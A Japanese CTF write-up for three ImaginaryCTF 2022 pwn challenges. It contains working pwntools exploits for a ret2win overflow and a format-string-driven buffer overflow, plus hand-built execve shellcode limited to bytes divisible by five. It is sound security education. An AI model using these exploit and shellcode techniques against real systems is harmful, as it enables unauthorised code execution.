ImaginaryCTF 2022 Writeup

ImaginaryCTF に参加しました。
聞いたことない名前だったんですけど(有名なのかな?)pwnは良問で
難しすぎもせず、簡単すぎもせず、面白そうでした。
ボリュームありすぎて心が折れたのでret2winとbofとbellcodeだけ解きました。

ret2win (240 solve)

ubuntu@ubuntu-virtual-machine:~/ctf/imaginaryCTF/ret2win$ ./vuln 
Welcome to ret2win!
Right now I'm going to read in input.
Can you overwrite the return address?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Returning to 0x4141414141414141...
Segmentation fault (コアダンプ)

よくあるwellcome 問題。
とりあえずwin関数に飛ばせば終わり。

from pwn import *
elf=ELF("/home/ubuntu/ctf/imaginaryCTF/ret2win/vuln")

p=remote("ret2win.chal.imaginaryctf.org",1337)

#gdb.attach(p)

p.recv(timeout=1)
p.sendline(cyclic(24)+p64(elf.symbols["win"]))
p.interactive()

bof (167 solve)

#include <stdio.h>
#include <stdlib.h>

struct string {
  char buf[64];
  int check;
};

char temp[1337];


int main() {
  struct string str;

  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);

  str.check = 0xdeadbeef;
  puts("Enter your string into my buffer:");
  fgets(temp, 5, stdin);
  sprintf(str.buf, temp);

  if (str.check != 0xdeadbeef) {
    system("cat flag.txt");
  }
}

名前の通り、bofするだけか…
と思いつつうまくいかない。

なぜかというとfgetの第2引数が5だから5文字しか受け付けないから…
その下のsprintfがあることに気づけば終わり。
fsbもあるので、fsbを使ってbofを起こすことができる。
面白い。

from pwn import *


elf=ELF("/home/ubuntu/ctf/imaginaryCTF/bof/bof")
p=remote("bof.chal.imaginaryctf.org",1337)

#gdb.attach(p)

p.recv(timeout=1)
p.send("%65c")
p.interactive()

Bellcode (32 solve)

undefined8 main(void)

{
  byte bVar1;
  byte *local_18;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  mmap(&DAT_00fac300,0x2000,7,0x21,-1,0);
  puts("What\'s your shellcode?");
  fgets(&DAT_00fac300,0x1000,stdin);
  local_18 = &DAT_00fac300;
  while( true ) {
    if ((byte *)0xfad2ff < local_18) {
      puts("OK. Running your shellcode now!");
      (*(code *)&DAT_00fac300)();
      return 0;
    }
    bVar1 = *local_18;
    if ((byte)(bVar1 + (char)((((uint)bVar1 * 0x21 + (uint)bVar1 * 8) * 5 >> 8 & 0xff) >> 2) * -5)
        != '\0') break;
    local_18 = local_18 + 1;
  }
  puts(&DAT_00102020);
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

ghidraの結果を見るとわかるが、とりあえず、
0x00fac300から0x1000入力し、謎のチェックをして、その結果が全バイトについて
0である場合に実行してくれる。

まずは、この謎のチェックを解析しよう。
rev力が多少求められるが、丁寧に追って、下記のように探索すればよい。

chars=list()
for i in range(0xff):
    A = ((((((i + (i << 2)) << 3) + i) * 5)) >> 8)
    B = ((A >> 2) << 2) + (A >> 2)
    C = i - B
    if C==0:
        chars.append(i)
    print(hex(i), hex(C))

汚いコードだなぁ…

>>> chars
[0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100, 105, 110, 115, 120, 125, 130, 135, 140, 145, 150, 155, 160, 165, 170, 175, 180, 185, 190, 195, 200, 205, 210, 215, 220, 225, 230, 235, 240, 245, 250]

ということで…
5の倍数しか使えない中でシェルコードを作れという問題である。

とりあえず、使える命令コードを出力してみて、それを組みあわせて実現した。
ここら辺のノウハウは下記の本に書いてあり、大変勉強になる。
私がここで解説するべきではないので割愛する。

booth.pm

あとはメモ帳で頑張ってアセンブラを書いた。
とりあえずかいつまんでポイントを説明する

・read2回、write1回、execve1回のシェルコード。writeは、ただのチェック用。(ローカルで動いたけどリモートで動かなかったのでdebugとして入れた)
/bin/shの文字列をassemblyの四則演算で出力するのは無理だったので、ユーザから入力するようにした。
・1回目のreadで0x00fad200へ"/bin/sh"の入力をしている。基本的にrdi、esi、edxはgadgetがあるから困らない。
・2回目のreadで、0x00fad269へ";"を入力している。これは0x3bであり、execveのsystem call番号である。ここで入力した値を使ってexecveを呼んでいる。
・2回目のreadの返り値は1を想定している。これは、inputが";"の1文字だからである。これを使ってwrite system callを3命令で呼んでいる。多分上手にやれば、1回のreadで/bin/shを含む0x3b文字を読み込むことで、スムーズにexecveを呼べるかもしれない。

shellcodeに飛ぶ直前のレジスタの状態。

下記はメモ。

ssize_t read(int fd, void *buf, size_t count);
\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x00\xd2\xfa\x00\x0f\x05
push   rax \x50
pop    rdi \x5f
mov    esi,0xf \xbe\x0f\x00\x00\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdx \x5a
mov    esi,0xf \xbe\x00\x00\x00\x00
xchg   esi,eax \x96
mov    esi,0x00fad200 \xbe\x00\xd2\xfa\x00  
syscall \x0f\x05

ssize_t read(int fd, void *buf, size_t count);
\xbe\x00\x00\x00\x00\x96\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x69\xd2\xfa\x00\x0f\x05
mov    esi,0x0 \xbe\x00\x00\x00\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdi \x5f
mov    esi,0xf \xbe\x0f\x00\x00\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdx \x5a
mov    esi,0xf \xbe\x00\x00\x00\x00
xchg   esi,eax \x96
mov    esi,0x00fad269 \xbe\x69\xd2\xfa\x00  
syscall \x0f\x05

ssize_t write(int fd, const void *buf, size_t count);
\x50\x5f\x0f\x05
push   rax \x50
pop    rdi \x5f
syscall \x0f\x05


int execve(const char *pathname, char *const argv[], char *const envp[]);
\xbe\x00\xd2\xfa\x00\x96\x50\x5f\xbe\x00\x00\x00\x00\x96\x50\x5a\xbe\x69\xd2\xfa\x00\x96\x87\x00\xbe\x00\x00\x00\x00\x0f\x05
mov    esi,0x0 \xbe\x00\xd2\xfa\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdi \x5f
mov    esi,0x0 \xbe\x00\x00\x00\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdx \x5a
mov    esi,0x00fad269 \xbe\x69\xd2\xfa\x00  
xchg   esi,eax \x96
xchg   DWORD PTR [rax],eax \x87\x00
mov    esi,0x0 \xbe\x00\x00\x00\x00
syscall \x0f\x05

最終的には、下のコードでシェルをとれた。
;は人力で入力してあげてください…

from pwn import *


elf=ELF("/home/ubuntu/ctf/imaginaryCTF/bellcode/bellcode")

#p=process("/home/ubuntu/ctf/imaginaryCTF/bellcode/bellcode"
#          , aslr=False)
p=remote("bellcode.chal.imaginaryctf.org",1337)

#gdb.attach(p)

# b * 0x5555555552c8

p.recv(timeout=1)
shellcode=b"\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x00\xd2\xfa\x00\x0f\x05"
shellcode+=b"\xbe\x00\x00\x00\x00\x96\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x69\xd2\xfa\x00\x0f\x05"
shellcode+=b"\x50\x5f\x0f\x05"
shellcode+=b"\xbe\x00\xd2\xfa\x00\x96\x50\x5f\xbe\x00\x00\x00\x00\x96\x50\x5a\xbe\x69\xd2\xfa\x00\x96\x87\x00\xbe\x00\x00\x00\x00\x0f\x05"
p.sendline(shellcode)

p.send("/bin/sh")
p.interactive()